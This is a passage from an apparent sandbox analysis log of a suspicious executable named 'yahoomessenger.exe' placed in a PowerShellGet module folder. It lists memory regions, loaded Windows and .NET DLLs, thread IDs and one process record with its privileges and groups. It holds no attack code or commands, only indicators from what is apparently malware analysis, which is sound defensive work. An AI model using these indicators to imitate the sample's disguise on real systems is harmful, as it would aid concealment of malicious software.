"sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 7773 start_va = 0x7fef7650000 end_va = 0x7fef769ffff monitored = 0 entry_point = 0x7fef7651190 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 7774 start_va = 0x7fefd2f0000 end_va = 0x7fefd303fff monitored = 0 entry_point = 0x7fefd2f4160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 7775 start_va = 0x2b70000 end_va = 0x2beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b70000" filename = "" Region: id = 7776 start_va = 0x7fef7630000 end_va = 0x7fef7648fff monitored = 0 entry_point = 0x7fef7631104 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 7777 start_va = 0x7fffff82000 end_va = 0x7fffff83fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 7778 start_va = 0x7fef7500000 end_va = 0x7fef762bfff monitored = 0 entry_point = 0x7fef75b0ef0 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 7779 start_va = 0x7fef7490000 end_va = 0x7fef74f1fff monitored = 0 entry_point = 0x7fef74cbd80 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 7780 start_va = 0x7fef7700000 end_va = 0x7fef77d2fff monitored = 0 entry_point = 0x7fef7778b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 7781 start_va = 0x7fef76d0000 end_va = 0x7fef76f6fff monitored = 0 entry_point = 0x7fef76d11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 7782 start_va = 0x2c70000 end_va = 0x2d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 7783 start_va = 0x7fef7470000 end_va = 0x7fef7482fff monitored = 0 entry_point = 0x7fef7471d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 7784 start_va = 0x2400000 end_va = 0x247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 7785 start_va = 0x7fffff80000 end_va = 0x7fffff81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 7805 start_va = 0x1ca0000 end_va = 0x1d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ca0000" filename = "" Region: id = 7806 start_va = 0x2e70000 end_va = 0x2eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e70000" filename = "" Region: id = 7807 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 7808 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 7809 start_va = 0x7fef6b90000 end_va = 0x7fef6bfafff monitored = 0 entry_point = 0x7fef6bd4344 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 7810 start_va = 0x7fefb810000 end_va = 0x7fefb81dfff monitored = 0 entry_point = 0x7fefb815500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 7811 start_va = 0x2d90000 end_va = 0x2e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d90000" filename = "" Region: id = 7812 start_va = 0x7fef6b60000 end_va = 0x7fef6b80fff monitored = 0 entry_point = 0x7fef6b703b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 7813 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 7814 start_va = 0x7fef6b00000 end_va = 0x7fef6b59fff monitored = 0 entry_point = 0x7fef6b3dde0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 7827 start_va = 0x7fefafe0000 end_va = 0x7fefaff0fff monitored = 0 entry_point = 0x7fefafe16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 7828 start_va = 0x7fefafc0000 end_va = 0x7fefafd7fff monitored = 0 entry_point = 0x7fefafc1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 7829 start_va = 0x7fefce90000 end_va = 0x7fefceeafff monitored = 0 entry_point = 0x7fefce96940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 7830 start_va = 0x2ef0000 end_va = 0x302ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 7840 start_va = 0x3030000 end_va = 0x322ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003030000" filename = "" Region: id = 7841 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7842 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7843 start_va = 0x7fefa970000 end_va = 0x7fefa9e3fff monitored = 0 entry_point = 0x7fefa9766f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 7844 start_va = 0x3230000 end_va = 0x362ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003230000" filename = "" Region: id = 7845 start_va = 0x7fefa870000 end_va = 0x7fefa877fff monitored = 0 entry_point = 0x7fefa871414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 7846 start_va = 0x7fef4f50000 end_va = 0x7fef4f5bfff monitored = 0 entry_point = 0x7fef4f5602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 7847 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7850 start_va = 0x36f0000 end_va = 0x376ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036f0000" filename = "" Region: id = 7851 start_va = 0x7fffff78000 end_va = 0x7fffff79fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 7857 start_va = 0x3770000 end_va = 0x3f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003770000" filename = "" Region: id = 7916 start_va = 0x1e40000 end_va = 0x1ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 7917 start_va = 0x1ef0000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 7918 start_va = 0x7fffff76000 end_va = 0x7fffff77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 7919 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7920 start_va = 0x2f00000 end_va = 0x2f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f00000" filename = "" Region: id = 7921 start_va = 0x2fb0000 end_va = 0x302ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 7922 start_va = 0x7fffff74000 end_va = 0x7fffff75fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 7923 start_va = 0x3660000 end_va = 0x36dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003660000" filename = "" Region: id = 7924 start_va = 0x7fffff72000 end_va = 0x7fffff73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 7925 start_va = 0x4000000 end_va = 0x407ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 7926 start_va = 0x7fffff70000 end_va = 0x7fffff71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 7927 start_va = 0x4080000 end_va = 0x504ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004080000" filename = "" Region: id = 7996 start_va = 0x50c0000 end_va = 0x513ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000050c0000" filename = "" Region: id = 7997 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 8020 start_va = 0x5140000 end_va = 0x523ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005140000" filename = "" Region: id = 8112 start_va = 0x7fef8480000 end_va = 0x7fef8534fff monitored = 0 entry_point = 0x7fef84fcf80 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 8113 start_va = 0x7fef4b60000 end_va = 0x7fef4b71fff monitored = 0 entry_point = 0x7fef4b689d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 8114 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 8115 start_va = 0x2060000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 8116 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 8117 start_va = 0x7fef4ae0000 end_va = 0x7fef4b50fff monitored = 0 entry_point = 0x7fef4b251d0 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 8118 start_va = 0x52c0000 end_va = 0x533ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000052c0000" filename = "" Region: id = 8119 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 8120 start_va = 0x5370000 end_va = 0x53effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005370000" filename = "" Region: id = 8121 start_va = 0x7fffff68000 end_va = 0x7fffff69fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 8238 start_va = 0x2200000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 8239 start_va = 0x54c0000 end_va = 0x553ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000054c0000" filename = "" Region: id = 8240 start_va = 0x5560000 end_va = 0x55dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005560000" filename = "" Region: id = 8241 start_va = 0x55f0000 end_va = 0x566ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000055f0000" filename = "" Region: id = 8242 start_va = 0x56a0000 end_va = 0x571ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000056a0000" filename = "" Region: id = 8243 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 8244 start_va = 0x7fffff60000 end_va = 0x7fffff61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 8245 start_va = 0x7fffff62000 end_va = 0x7fffff63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 8246 start_va = 0x7fffff64000 end_va = 0x7fffff65fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 8247 start_va = 0x7fffff66000 end_va = 0x7fffff67fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 9200 start_va = 0xa00000 end_va = 0xa15fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 9622 start_va = 0xa00000 end_va = 0xa1bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 9623 start_va = 0xdf0000 end_va = 0xdf3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000df0000" filename = "" Thread: id = 307 os_tid = 0x474 Thread: id = 308 os_tid = 0x444 Thread: id = 309 os_tid = 0x440 Thread: id = 310 os_tid = 0x430 Thread: id = 311 os_tid = 0x42c Thread: id = 312 os_tid = 0x428 Thread: id = 313 os_tid = 0x41c Thread: id = 314 os_tid = 0x124 Thread: id = 315 os_tid = 0x39c Thread: id = 316 os_tid = 0x3f4 Thread: id = 317 os_tid = 0x3ec Thread: id = 318 os_tid = 0x3e0 Thread: id = 319 os_tid = 0x394 Thread: id = 320 os_tid = 0x390 Thread: id = 321 os_tid = 0x38c Thread: id = 322 os_tid = 0x388 Thread: id = 323 os_tid = 0x374 Thread: id = 324 os_tid = 0x36c Thread: id = 326 os_tid = 0x184 Thread: id = 328 os_tid = 0x438 Thread: id = 332 os_tid = 0x604 Thread: id = 357 os_tid = 0x744 Thread: id = 358 os_tid = 0x76c Thread: id = 359 os_tid = 0x784 Thread: id = 360 os_tid = 0x788 Thread: id = 361 os_tid = 0x790 Thread: id = 362 os_tid = 0x794 Thread: id = 363 os_tid = 0x7a0 Thread: id = 364 os_tid = 0x7a4 Thread: id = 365 os_tid = 0x7b0 Thread: id = 366 os_tid = 0x7b4 Thread: id = 367 os_tid = 0x7b8 Thread: id = 368 os_tid = 0x7c8 Thread: id = 369 os_tid = 0x7d4 Thread: id = 370 os_tid = 0x7dc Thread: id = 371 os_tid = 0x7f4 Thread: id = 372 os_tid = 0x718 Thread: id = 373 os_tid = 0x728 Thread: id = 374 os_tid = 0x328 Thread: id = 375 os_tid = 0x324 Thread: id = 376 os_tid = 0x74c Thread: id = 377 os_tid = 0x344 Thread: id = 378 os_tid = 0x320 Thread: id = 379 os_tid = 0x33c Thread: id = 380 os_tid = 0x340 Thread: id = 381 os_tid = 0x310 Thread: id = 382 os_tid = 0x30c Thread: id = 383 os_tid = 0x76c Thread: id = 384 os_tid = 0x79c Thread: id = 385 os_tid = 0x7a4 Process: id = "79" image_name = "yahoomessenger.exe" filename = "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\yahoomessenger.exe" page_root = "0x794a9000" os_pid = "0x588" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4d8" cmd_line = "\"C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7283 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7284 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7285 start_va = 0x130000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 7286 start_va = 0x340000 end_va = 0x417fff monitored = 1 entry_point = 0x40f1ee region_type = mapped_file name = "yahoomessenger.exe" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\yahoomessenger.exe") Region: id = 7287 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7288 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7289 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7290 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7291 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7292 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 7293 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7294 start_va = 0x420000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 7295 start_va = 0x7fefa8a0000 end_va = 0x7fefa90efff monitored = 1 entry_point = 0x7fefa8a1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7296 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7297 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7307 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7308 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7309 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7310 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7311 start_va = 0xb0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7312 start_va = 0x230000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 7565 start_va = 0x5e0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 7597 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7598 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7599 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7600 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7601 start_va = 0x420000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 7602 start_va = 0x560000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 7603 start_va = 0x420000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 7604 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 7787 start_va = 0x7fef7fc0000 end_va = 0x7fef8068fff monitored = 1 entry_point = 0x7fef7fc1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7824 start_va = 0x7fefa890000 end_va = 0x7fefa892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 8006 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 8007 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 8008 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 8009 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 8010 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 8011 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8012 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 8013 start_va = 0x5e0000 end_va = 0x767fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 8014 start_va = 0x780000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 8015 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8016 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8017 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8018 start_va = 0x800000 end_va = 0x980fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 8019 start_va = 0x990000 end_va = 0x1d8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 8255 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8256 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 8257 start_va = 0x1d90000 end_va = 0x1e60fff monitored = 1 entry_point = 0x1e5f1ee region_type = mapped_file name = "yahoomessenger.exe" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\yahoomessenger.exe") Region: id = 8279 start_va = 0x1d90000 end_va = 0x1e60fff monitored = 1 entry_point = 0x1e5f1ee region_type = mapped_file name = "yahoomessenger.exe" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\yahoomessenger.exe") Region: id = 8280 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8293 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8332 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8489 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8490 start_va = 0x7fef3f00000 end_va = 0x7fef3f15fff monitored = 0 entry_point = 0x7fef3f0c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8491 start_va = 0x7fef3e40000 end_va = 0x7fef3efcfff monitored = 0 entry_point = 0x7fef3ec7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = 